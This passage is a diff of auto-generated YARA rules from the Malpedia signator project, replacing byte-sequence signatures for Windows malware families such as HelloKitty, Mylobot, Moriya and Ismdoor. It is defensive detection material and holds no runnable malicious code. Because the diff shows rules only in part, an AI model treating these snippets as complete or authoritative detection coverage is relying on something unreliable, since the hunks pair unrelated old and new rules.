 		license_url = "N/A"
-		logic_hash = "aa8f4a4903065b9814083d80e7b1fe6c3f259f31453cf2a2b84676c3d1765b58"
+		logic_hash = "47d13f6f4636c7a610d9f5f6fa6bfc46db8fee0da3e7f134864d9085143c9558"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -178957,32 +185954,41 @@ rule MALPEDIA_Win_Hellokitty_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8975fc 8d4e08 c706???????? e8???????? 6818010000 8d86d0030000 6a00 }
-		$sequence_1 = { 23df 234df0 8bc7 c1c802 0bd9 33d0 03de }
-		$sequence_2 = { 7509 0fb64702 3a4604 7411 83c32c 41 83c72c }
-		$sequence_3 = { 33d2 8b45ec 8bf1 0fa4c11e c1ee02 0bd1 c1e01e }
-		$sequence_4 = { 8b048520364200 56 8b7508 57 8b4c0818 8b4514 832600 }
-		$sequence_5 = { 33ca 8bd1 894dec 8988a8000000 33d3 }
-		$sequence_6 = { 8b759c 03c2 8bd1 8945f8 8bc1 c1c807 c1c20e }
-		$sequence_7 = { 8b45c0 3175c4 8bf0 0facc81c c1e604 0bd0 c1e91c }
-		$sequence_8 = { 8bf8 83c020 59 f3a5 8b7508 83ee20 89450c }
-		$sequence_9 = { c1ce02 8b45d0 03cf 3345ec 3345c4 3345f0 8b7df4 }
+		$sequence_0 = { e8???????? a1???????? a3???????? 6800001000 68???????? ff35???????? }
+		$sequence_1 = { 68???????? e8???????? 91 6a00 }
+		$sequence_2 = { e8???????? e8???????? c705????????01000000 c3 55 8bec }
+		$sequence_3 = { 85c0 7479 33c0 50 50 6a03 50 }
+		$sequence_4 = { ff35???????? 68???????? ff75f8 ff15???????? 8945f4 85c0 7425 }
+		$sequence_5 = { 8906 83c608 e2e6 59 e2dc }
+		$sequence_6 = { 83c40c 8d45fc 50 8d450c ff30 e8???????? }
+		$sequence_7 = { e8???????? 0bc0 7504 33c0 c9 c3 8945f0 }
+		$sequence_8 = { c60000 2d???????? 50 8d85e8feffff 50 68???????? }
+		$sequence_9 = { 68???????? 6a00 e8???????? 6a0a 68???????? 6a00 e8???????? }
+		$sequence_10 = { e8???????? 83f8ff 7505 5a }
+		$sequence_11 = { 001438 eb06 80c107 000c38 }
+		$sequence_12 = { 0005???????? 0fb605???????? 8ad3 8d80b8fee014 }
+		$sequence_13 = { 0016 40 3bc3 72de }
+		$sequence_14 = { 0145f0 8b4df0 3b4d14 0f8263feffff }
+		$sequence_15 = { 000c38 40 3b45f8 72e3 }
+		$sequence_16 = { 0144240c 85f6 7fdd 33c0 }
+		$sequence_17 = { 0106 eb94 55 8bec }
+		$sequence_18 = { 000e eb08 02c9 b2f9 }
 
 	condition:
-		7 of them and filesize <319488
+		7 of them and filesize <761856
 }
-rule MALPEDIA_Win_Webbytea_Auto : FILE
+rule MALPEDIA_Win_Moriya_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "b6cb62e5-1486-5f7a-9ab4-363544b06e24"
+		id = "b9f54a0c-1b70-575c-9b58-fd559fcd85cb"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.webbytea"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.webbytea_auto.yar#L1-L118"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.moriya"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.moriya_auto.yar#L1-L123"
 		license_url = "N/A"
-		logic_hash = "a39ccb63aa5f0dcb105213662a0cd0fec06d0e89771a8eab5add75ac05faf27d"
+		logic_hash = "ab28f31770f9afce25a3c5b829bb0d33a4cf408b2c3f7c40efc1893d68c2419a"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -178996,32 +186002,32 @@ rule MALPEDIA_Win_Webbytea_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e9???????? c744242000000000 4533c9 4533c0 33d2 33c9 }
-		$sequence_1 = { c68424f100000072 c68424f200000065 c68424f300000061 c68424f400000074 }
-		$sequence_2 = { 8b00 ffc0 488b8c2488020000 8901 488d542430 488b4c2420 }
-		$sequence_3 = { 488b8c2488020000 8901 488d542430 488b4c2420 ff15???????? 85c0 }
-		$sequence_4 = { 488b842488020000 8b00 ffc0 488b8c2488020000 }
-		$sequence_5 = { eb08 8b0424 ffc0 890424 8b442438 390424 }
-		$sequence_6 = { 488b842488020000 8b00 ffc0 488b8c2488020000 8901 488d542430 488b4c2420 }
-		$sequence_7 = { c7042400000000 eb08 8b0424 ffc0 890424 8b442438 }
-		$sequence_8 = { 488b8c2488020000 8901 488d542430 488b4c2420 }
-		$sequence_9 = { c68424f100000072 c68424f200000065 c68424f300000061 c68424f400000074 c68424f500000065 }
+		$sequence_0 = { 8bce ff15???????? 4533c0 488d0dcf260000 33d2 }
+		$sequence_1 = { 488bfa 4c8d051c0d0000 33d2 8d5a4d 8bcb ff15???????? 4c8d05280d0000 }
+		$sequence_2 = { 8b4f10 8d81fffeffff 83f801 7608 81f910010000 7564 ba28000000 }
+		$sequence_3 = { 448d724d 418bce 0f114dc0 0f1145d0 ff15???????? }
+		$sequence_4 = { 4885c0 7509 4c8d05b60f0000 eba3 4c8d05dd0f0000 ff15???????? }
+		$sequence_5 = { ff15???????? 488b8c2498000000 4885c9 7405 e8???????? }
+		$sequence_6 = { ff15???????? 8bc3 488b8c2488000000 4833cc e8???????? 4881c490000000 415f }
+		$sequence_7 = { 33d2 ff15???????? 4883673800 488b0d???????? 4885c9 7467 }
+		$sequence_8 = { 4c8bc3 49ffc0 42803c0000 75f6 488b15???????? }
+		$sequence_9 = { 488b0d???????? 4885c9 7405 e8???????? 8bc7 488b4df0 }
 
 	condition:
-		7 of them and filesize <552960
+		7 of them and filesize <58368
 }
-rule MALPEDIA_Win_Mailto_Auto : FILE
+rule MALPEDIA_Win_Mylobot_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "ea0d0ed3-d3ad-5738-b388-39bdea82080a"
+		id = "7a067cd7-af50-5d95-bc8a-c729265f1a45"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mailto"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mailto_auto.yar#L1-L130"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mylobot"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mylobot_auto.yar#L1-L164"
 		license_url = "N/A"
-		logic_hash = "f253c860f2dfd876ea6c63e66e3d4bfe3e95a5b5178079f30b977b373576f89e"
+		logic_hash = "e9a5b8dbe1c5cc719187453536536d6ca11df9a61a8a5853882ca3075e6106f0"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -179035,34 +186041,40 @@ rule MALPEDIA_Win_Mailto_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 47 3bfb 7297 8b44241c 8930 8b442420 85c0 }
-		$sequence_1 = { 83c404 85f6 7429 85ed 7419 8b742414 }
-		$sequence_2 = { 8b442418 8938 8b44241c 85c0 7402 8930 }
-		$sequence_3 = { 55 56 57 8b7c2424 c744241400000000 85ff 7457 }
-		$sequence_4 = { 85f6 0f8477010000 e8???????? 3b7014 0f8469010000 8b0d???????? 85c9 }
-		$sequence_5 = { 8b08 ff5130 85c0 7822 ff74242c e8???????? }
-		$sequence_6 = { 897c242c 8bc8 89442420 c1f81a c1f91f 23c8 8bc1 }
-		$sequence_7 = { 40 eb64 83ff01 7522 0fb6d1 bf02000000 83e203 }
-		$sequence_8 = { 0fb6466b 884118 0fb6466f 88411c 0fb64652 884101 0fb64656 }
-		$sequence_9 = { 0f84ef000000 6a20 e8???????? 83c404 89442410 85c0 }
+		$sequence_0 = { ff5014 56 6a00 50 8947f8 }
+		$sequence_1 = { 89442414 75c7 eb02 33f6 85f6 741c }
+		$sequence_2 = { 0f8344030000 8b0c83 8b442428 3bc8 0f823e020000 03442418 }
+		$sequence_3 = { 83c41c 2b4734 7409 50 53 e8???????? }
+		$sequence_4 = { 898108010000 8d442414 50 68???????? }
+		$sequence_5 = { 51 ff742410 50 8d84248c020000 50 }
+		$sequence_6 = { a1???????? 53 ff507c 8bf8 85ff 0f8491000000 8d442410 }
+		$sequence_7 = { 81eccc000000 8b450c 53 56 57 8b00 }
+		$sequence_8 = { 75cc 80bdfcfdffff01 0f8581000000 68???????? ff15???????? }
+		$sequence_9 = { c785d4fdffff28010000 ff15???????? 8d8dd4fdffff 8bf8 }
+		$sequence_10 = { 2bc2 8bc8 8bc3 8d7801 }
+		$sequence_11 = { 83bd48ffffff00 0f85e9000000 807dda01 0f95c0 }
+		$sequence_12 = { 7857 8b07 85c0 7462 }
+		$sequence_13 = { ffd3 68???????? 8d742414 e8???????? 83c404 85c0 }
+		$sequence_14 = { 897df4 3bc7 743d 8d55f4 }
+		$sequence_15 = { 8bf0 81fed0040000 750e 8b4718 50 57 }
 
 	condition:
-		7 of them and filesize <180224
+		7 of them and filesize <8028160
 }
-rule MALPEDIA_Win_Rikamanu_Auto : FILE
+rule MALPEDIA_Win_Roseam_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "08f5de79-f86c-592e-8a15-71782197d327"
+		id = "88276476-b18b-5edc-880f-eae459b2a660"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rikamanu"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.rikamanu_auto.yar#L1-L297"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.roseam"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.roseam_auto.yar#L1-L120"
 		license_url = "N/A"
-		logic_hash = "3cf2bc6d93646710c8204bdc714006eac60fd0ca80947c5c7ae6ad8dcd343296"
+		logic_hash = "3438063035004ab07a2e8d6bda2a389a18e5085289cc780bdf790db5294b5e20"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -179074,52 +186086,32 @@ rule MALPEDIA_Win_Rikamanu_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e8???????? 6a14 ff15???????? a801 }
-		$sequence_1 = { 50 ff15???????? 8b35???????? 3d80969800 }
-		$sequence_2 = { 8b85e4fdffff 8d8dccfdffff 51 8d9588fdffff 52 8b95f0fdffff 53 }
-		$sequence_3 = { 68???????? 51 c744241c6c714000 e8???????? 33d2 6a0c 8954240a }
-		$sequence_4 = { 0fb6442404 8a4c240c 848821ae4000 751c 837c240800 740e 0fb70445faa64000 }
-		$sequence_5 = { 83c42c 5f eb26 8d4508 8db62c724000 6a00 }
-		$sequence_6 = { 8088????????10 8ac8 80c120 888820ad4000 eb1f 83f861 }
-		$sequence_7 = { 0fbe05???????? 83e802 7413 83e806 7407 bf???????? eb0c }
-		$sequence_8 = { 57 ff15???????? 33c0 40 ebcc }
-		$sequence_9 = { eba1 8b85f0fdffff 6a04 8d95ecfdffff }
-		$sequence_10 = { 51 68???????? 55 ffd3 bf???????? 83c9ff 33c0 }
-		$sequence_11 = { 6a04 55 83e103 6a01 8d44246c }
-		$sequence_12 = { 6a00 6a00 55 ffd7 55 }
-		$sequence_13 = { 56 ff15???????? 8b842470020000 03f8 57 56 ff15???????? }
-		$sequence_14 = { 8987709a2400 83c704 83ff28 72e6 5f }
-		$sequence_15 = { 83c40c 33c0 6808020000 8d95f4fdffff 52 }
-		$sequence_16 = { 8d34c570902400 833e00 7513 50 }
-		$sequence_17 = { 8d4508 8db62c724000 6a00 50 ff36 e8???????? 59 }
-		$sequence_18 = { 891d???????? 891d???????? ff15???????? 8d85f8feffff }
-		$sequence_19 = { 7373 8bc8 8bf0 c1f905 83e61f 8d3c8de0b84000 c1e603 }
-		$sequence_20 = { 391d???????? 0f849e000000 33c0 663bcb 0f95c0 }
-		$sequence_21 = { 8bec 8b450c 56 beff000000 3bc6 7518 }
-		$sequence_22 = { 8945e4 3d00010000 7d10 8a8c181d010000 888808972400 40 ebe6 }
-		$sequence_23 = { 85c0 74c9 33c9 33c0 890d???????? bf???????? 890d???????? }
-		$sequence_24 = { ebe3 80a0a0a6400000 40 41 41 3bc6 }
-		$sequence_25 = { ff15???????? ff750c e8???????? 59 3bc3 }
-		$sequence_26 = { 40 3acb 75f9 2bc2 8d95f8feffff }
-		$sequence_27 = { 8b54240c 81fa80000000 7c0e 0fba25????????01 0f820b070000 57 }
-		$sequence_28 = { 7457 68???????? 56 ffd5 85c0 744b 8a0e }
-		$sequence_29 = { c1e106 8b0485383f4100 f644080401 7405 8b0408 5d }
+		$sequence_0 = { 895514 eb38 895514 68???????? 68???????? 50 }
+		$sequence_1 = { 8b8c2490000000 89442408 8d44240c 6a0a }
+		$sequence_2 = { 8b12 66c745ec0200 8955f0 c745fc20000000 68???????? 50 9c }
+		$sequence_3 = { f2ae f7d1 49 894dec 8d0489 99 }
+		$sequence_4 = { 81fbff000000 895de8 0f84e2010000 8b4df8 83f903 }
+		$sequence_5 = { 57 b914000000 be???????? 8d7d90 f3a5 33d2 a4 }
+		$sequence_6 = { 58 68???????? ffd6 b91f000000 33c0 }
+		$sequence_7 = { 5d 58 8d8d58ffffff 8d95f4fcffff 51 }
+		$sequence_8 = { 83c40c f3ab 66ab aa e8???????? 8985f4fcffff }
+		$sequence_9 = { 894df0 eb0d 33c9 894dec 894df0 }
 
 	condition:
-		7 of them and filesize <212992
+		7 of them and filesize <221184
 }
-rule MALPEDIA_Win_Backbend_Auto : FILE
+rule MALPEDIA_Win_Voidoor_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "0c0e6fe8-d4e7-5b73-ab9b-71a979b7c8b3"
+		id = "71f97a7b-09b8-5977-a64d-26462fe6285b"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.backbend"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.backbend_auto.yar#L1-L123"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.voidoor"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.voidoor_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "b7d55ae6e8faf28a826a20f0c2aeb325ce5a40ba350e055022c2b2475be4953d"
+		logic_hash = "c8a62c7797e4a86d80b8a858487a45d1e5042e60b70ed193ca612e4172a00dd8"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -179133,32 +186125,32 @@ rule MALPEDIA_Win_Backbend_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ff15???????? 80a40500ffffff00 8d8500ffffff 56 50 ff15???????? }
-		$sequence_1 = { 58 5f 5e c3 ff25???????? ff25???????? }
-		$sequence_2 = { ffd6 ff7510 ffd3 8d8500feffff }
-		$sequence_3 = { ff15???????? 85c0 7416 8d8500fbffff }
-		$sequence_4 = { 56 e8???????? 8d8500fdffff 56 50 e8???????? 68???????? }
-		$sequence_5 = { 90 90 90 bf???????? 57 e8???????? c70424???????? }
-		$sequence_6 = { 8d8500f9ffff 50 e8???????? 8d8500f9ffff 50 e8???????? 83c424 }
-		$sequence_7 = { ffd3 8d8500feffff 6800010000 50 ff15???????? 8d8500feffff 68???????? }
-		$sequence_8 = { 56 ffd3 6a00 8d8500ffffff 56 50 ff15???????? }
-		$sequence_9 = { 7416 8d8500fbffff 6a00 50 }
+		$sequence_0 = { e8???????? 83c410 83bfb40b000000 752e ff33 83bf500b000000 ffb608400000 }
+		$sequence_1 = { c645fc10 e8???????? c78574feffff0f000000 c78570feffff00000000 c68560feffff00 8d9560feffff 8d8d78feffff }
+		$sequence_2 = { 03f5 7458 803e2f 7509 83f804 7d04 40 }
+		$sequence_3 = { 55 8bd8 ff15???????? 83c414 85db 0f85c3010000 8b542440 }
+		$sequence_4 = { 8b742414 c744240800000000 83bec802000000 8b1e 57 8b834c010000 8dbe68050000 }
+		$sequence_5 = { c60201 8b10 2bca 83f906 7d0a b801000000 5e }
+		$sequence_6 = { 33c0 5f 59 c3 56 57 e8???????? }
+		$sequence_7 = { b91b000000 5e 0f44d9 5d 8bc3 5b 83c408 }
+		$sequence_8 = { e8???????? 83c40c 89442418 8983ac030000 68???????? 53 e8???????? }
+		$sequence_9 = { c6434501 3944241c 7520 85f6 0f8565ffffff 837c243020 7337 }
 
 	condition:
-		7 of them and filesize <49152
+		7 of them and filesize <1744896
 }
-rule MALPEDIA_Win_Defray_Auto : FILE
+rule MALPEDIA_Win_Unidentified_104_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "ee2cc914-ed1c-504f-bf38-50caf0bf4350"
+		id = "e8a556d0-f78d-5a2d-8efe-d7e4f2e8c4f0"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.defray"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.defray_auto.yar#L1-L132"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_104"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_104_auto.yar#L1-L132"
 		license_url = "N/A"
-		logic_hash = "6779b35681313abc4956d5610d5c5eb736ab6b4450531cda5b5e81d10fef89b6"
+		logic_hash = "e638b20b38ac304bb33832304ee0b9b7e6ee0e08465f3d2f98dbc6a372f89d7d"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -179172,32 +186164,32 @@ rule MALPEDIA_Win_Defray_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 3bc1 75c3 894db4 8d8d60ffffff e8???????? 84c0 7419 }
-		$sequence_1 = { 8b0b 8bc1 83e13f c1f806 6bc930 8b048568f34800 }
-		$sequence_2 = { 33c0 8dbd94f5ffff a5 a5 a5 8dbda0f5ffff be???????? }
-		$sequence_3 = { 2bf2 8d7b1f c1ef05 c1fe02 897d08 3bfe 7322 }
-		$sequence_4 = { 83c9f8 41 0f2825???????? 8bd6 0f282d???????? 2bd1 0f57db }
-		$sequence_5 = { 33c6 03d0 8b85e0feffff 03940514ffffff 039008d54700 03d7 8bbde4feffff }
-		$sequence_6 = { 56 6a02 51 8975fc 8975f8 ff15???????? }
-		$sequence_7 = { 663907 7407 83c702 3bfe 75f4 3bfe 0f8434feffff }
-		$sequence_8 = { 8bf0 85f6 0f8528050000 8b45d8 c745f4006d4100 8945f8 837d1000 }
-		$sequence_9 = { 6a0c 99 5f f7ff 8365e000 8b7508 85c0 }
+		$sequence_0 = { 4c8d0d20070100 33c9 4c8d050f070100 488d1510070100 e8???????? 4885c0 }
+		$sequence_1 = { 4c03e9 4d33cd 498bd9 49c1e918 48c1e328 4933d9 4803c3 }
+		$sequence_2 = { 410fb6401b 4c0bc8 410fb6401a 49c1e108 4c0bc8 49c1e104 4c03c9 }
+		$sequence_3 = { 48c1e128 4933c9 4c8b8c2490000000 498b8180000000 4803c1 4803e8 4c33c5 }
+		$sequence_4 = { 4883fa10 0f8288000000 48ffc2 488b4dc7 488bc1 483bd7 728f }
+		$sequence_5 = { 415d 415c 5f 5e 5d c3 488d5ed8 }
+		$sequence_6 = { 418848fe c1e810 c1e918 418800 41884801 4d8d4004 4983e901 }
+		$sequence_7 = { e8???????? 33c0 4883c420 5b c3 8bd3 488bc8 }
+		$sequence_8 = { 49c1e330 4c33da 4903f3 4889b424a0000000 4833ce 488b742418 488bd1 }
+		$sequence_9 = { 7230 48ffc2 488b8dc0000000 488bc1 4881fa00100000 7215 }
 
 	condition:
-		7 of them and filesize <1253376
+		7 of them and filesize <263168
 }
-rule MALPEDIA_Win_Mozart_Auto : FILE
+rule MALPEDIA_Win_Turnedup_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "1438b6f5-0fc9-5eca-9ae3-36eb59239394"
+		id = "317b79ff-9d3d-5ba0-8921-2dd0758e0502"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mozart"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mozart_auto.yar#L1-L124"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.turnedup"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.turnedup_auto.yar#L1-L123"
 		license_url = "N/A"
-		logic_hash = "94b0456ee335dcdb1592bd3a0f2b861e74a91bd5433e8fc753965fb9891ac5e3"
+		logic_hash = "41dd089d435e4495b4c527e58471affc57ceb5820e7069ad3a735daa64e32911"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -179211,32 +186203,32 @@ rule MALPEDIA_Win_Mozart_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 7c26 80fb39 7f21 885c3418 46 }
-		$sequence_1 = { 66ab e8???????? 8d44242c 50 e8???????? 8d8c2430010000 51 }
-		$sequence_2 = { c1f805 8d1c85c0db4000 8b03 8bf1 83e61f c1e603 8a443004 }
-		$sequence_3 = { 49 7438 49 7471 c1e006 0bc7 }
-		$sequence_4 = { 55 8bec 83e4f8 81ec20020000 a1???????? 8b0d???????? 668b15???????? }
-		$sequence_5 = { 8bf0 83e61f 8d3c8dc0db4000 8b0f c1e603 f644310401 7455 }
-		$sequence_6 = { 8a08 40 84c9 75f9 8b8c2420100000 }
-		$sequence_7 = { 2bc7 3bf0 7202 33f6 8bc5 43 42 }
-		$sequence_8 = { 8b0a 83c502 3be9 7728 }
-		$sequence_9 = { 751a 84c0 7426 8b5608 47 }
+		$sequence_0 = { 8b4dfc 5f 5e 33cd 895004 5b }
+		$sequence_1 = { 7706 891d???????? ff0d???????? 7506 891d???????? 6a01 }
+		$sequence_2 = { 8b07 8b4004 03c7 33d2 8955dc c645e001 8b4838 }
+		$sequence_3 = { 895dfc 752b 6a00 8d4df8 e8???????? 833d????????00 }
+		$sequence_4 = { 68???????? 8819 e8???????? 8d7dac }
+		$sequence_5 = { c746180f000000 894614 56 884604 e8???????? 83c404 }
+		$sequence_6 = { 830801 8b4dd8 394dc0 741e 837dd000 }
+		$sequence_7 = { 8945bc 8975b0 8b55f4 8b45e0 83fa10 7303 8d45e0 }
+		$sequence_8 = { 8ad5 c0ea04 80e203 02d0 8a45f6 8855f8 8ad0 }
+		$sequence_9 = { 8b45bc 8a11 8810 8b0b 40 }
 
 	condition:
-		7 of them and filesize <114688
+		7 of them and filesize <892928
 }
-rule MALPEDIA_Win_Dyepack_Auto : FILE
+rule MALPEDIA_Win_Oddjob_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "66b3574f-c7a6-53f0-85d5-ab2a32e5f41d"
+		id = "05ff5b48-0b07-5c37-b3fa-78979fc46d1b"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dyepack"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.dyepack_auto.yar#L1-L121"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.oddjob"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.oddjob_auto.yar#L1-L124"
 		license_url = "N/A"
-		logic_hash = "9d7b8dddf2871fef90109ccabdb579a142d1f80f2c5a6a3cb7a4f53499a52084"
+		logic_hash = "cba635f9b22031c02deb6504fbb70476906689529cb50c775ead5481738df2df"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -179250,32 +186242,32 @@ rule MALPEDIA_Win_Dyepack_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 53 53 56 ffd7 8b442414 8b4c2410 33ed }
-		$sequence_1 = { 7cb2 7f08 8b4c2410 3be9 }
-		$sequence_2 = { 8b442414 8b4c2410 33ed 33ff 3bc3 7c60 7f0a }
-		$sequence_3 = { 741e 8b442418 3bc3 7416 03e8 8b442414 13fb }
-		$sequence_4 = { 1bc7 7815 7f08 81f900100000 }
-		$sequence_5 = { 56 ff15???????? 8b8c2428100000 53 51 }
-		$sequence_6 = { 3bcb 765a eb04 8b4c2410 2bcd }
-		$sequence_7 = { ff15???????? 85c0 741e 8b442418 3bc3 7416 03e8 }
-		$sequence_8 = { 5f 5e 5b 81c414100000 c3 8b3d???????? }
-		$sequence_9 = { ffd7 8d4c2418 53 51 8d54242c }
+		$sequence_0 = { e8???????? 59 8d9530ffffff 6a01 8bcb 8bc2 }
+		$sequence_1 = { c68552fbffff43 c68553fbffff5e c68554fbffff5b c68555fbffff8b c68556fbffff4b }
+		$sequence_2 = { 663d3600 751f 66837f0234 7518 }
+		$sequence_3 = { 50 bf???????? 57 6a04 53 68???????? ffd6 }
+		$sequence_4 = { 8bc3 4b 85c0 0f8498000000 0fb7c1 83f841 7c05 }
+		$sequence_5 = { c68596faffff24 c68597faffff08 c68598faffff8b c68599faffff43 }
+		$sequence_6 = { c685f8f9ffff40 c685f9f9ffff68 889dfaf9ffff c685fbf9ffff10 889dfcf9ffff 889dfdf9ffff c685fef9ffff51 }
+		$sequence_7 = { 889d12f8ffff 889d13f8ffff 889d14f8ffff 889d15f8ffff 889d16f8ffff 889d17f8ffff 889d18f8ffff }
+		$sequence_8 = { 85c0 7503 897dfc 397de8 7409 ff75e8 ff15???????? }
+		$sequence_9 = { 53 68???????? ffd6 85c0 741c 8d85a094ffff }
 
 	condition:
-		7 of them and filesize <212992
+		7 of them and filesize <221184
 }
-rule MALPEDIA_Win_Kikothac_Auto : FILE
+rule MALPEDIA_Win_Ismdoor_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "48840edd-1eda-587e-96d1-699222be4802"
+		id = "e9177277-98bb-546b-913b-803dfeefda39"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kikothac"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.kikothac_auto.yar#L1-L120"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ismdoor"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ismdoor_auto.yar#L1-L156"
 		license_url = "N/A"
-		logic_hash = "ddecb618114edd432a6ac40a5ecfd59b3208358e4b28a6940c432c46b4921216"
+		logic_hash = "489ff4b41f2f5bc83c56e62265d852f18476e83488ad914ef361d6d410139690"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -179289,32 +186281,37 @@ rule MALPEDIA_Win_Kikothac_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 85c0 7516 8b86942f4100 b301 85c0 740a }
-		$sequence_1 = { 50 ff15???????? a3???????? 3bc3 7507 32c0 5b }
-		$sequence_2 = { 56 33f6 57 8975fc ffd3 85c0 }
-		$sequence_3 = { c60424cd 8d642438 e9???????? c64424046e 895500 9c 6689742408 }
-		$sequence_4 = { c1c80a e9???????? 66894500 9c }
-		$sequence_5 = { 8b441604 51 50 ff15???????? 85c0 7516 }
-		$sequence_6 = { 51 68102ba40e ff3424 9c 8f442438 }
-		$sequence_7 = { 6820040000 57 57 57 }
-		$sequence_8 = { 60 f6c356 c6442404ab 20d0 }
-		$sequence_9 = { e9???????? 8b7c242c 66c70424dc83 98 9f 8b442430 660fbeeb }
+		$sequence_0 = { 83f8ff 7504 32c0 eb05 c0e804 2401 84c0 }
+		$sequence_1 = { 90 48897c2428 488d4da0 48894c2420 4c8d4d80 4c8bc3 }
+		$sequence_2 = { 7405 488b00 ebdd 48894500 }
+		$sequence_3 = { 89442420 48c7411807000000 48894110 668901 c744242001000000 }
+		$sequence_4 = { 7613 498d4970 418bc2 41ffc2 }
+		$sequence_5 = { 41ffc7 0f1f4000 418b16 488d4d38 e8???????? }
+		$sequence_6 = { 8bd8 33c9 ff15???????? 488bc8 }
+		$sequence_7 = { 488bd6 488bcf ff5030 488bc8 }
+		$sequence_8 = { 884c0dd8 41 83f910 7cf6 }
+		$sequence_9 = { 83f802 7506 c6473c00 eb04 40 }
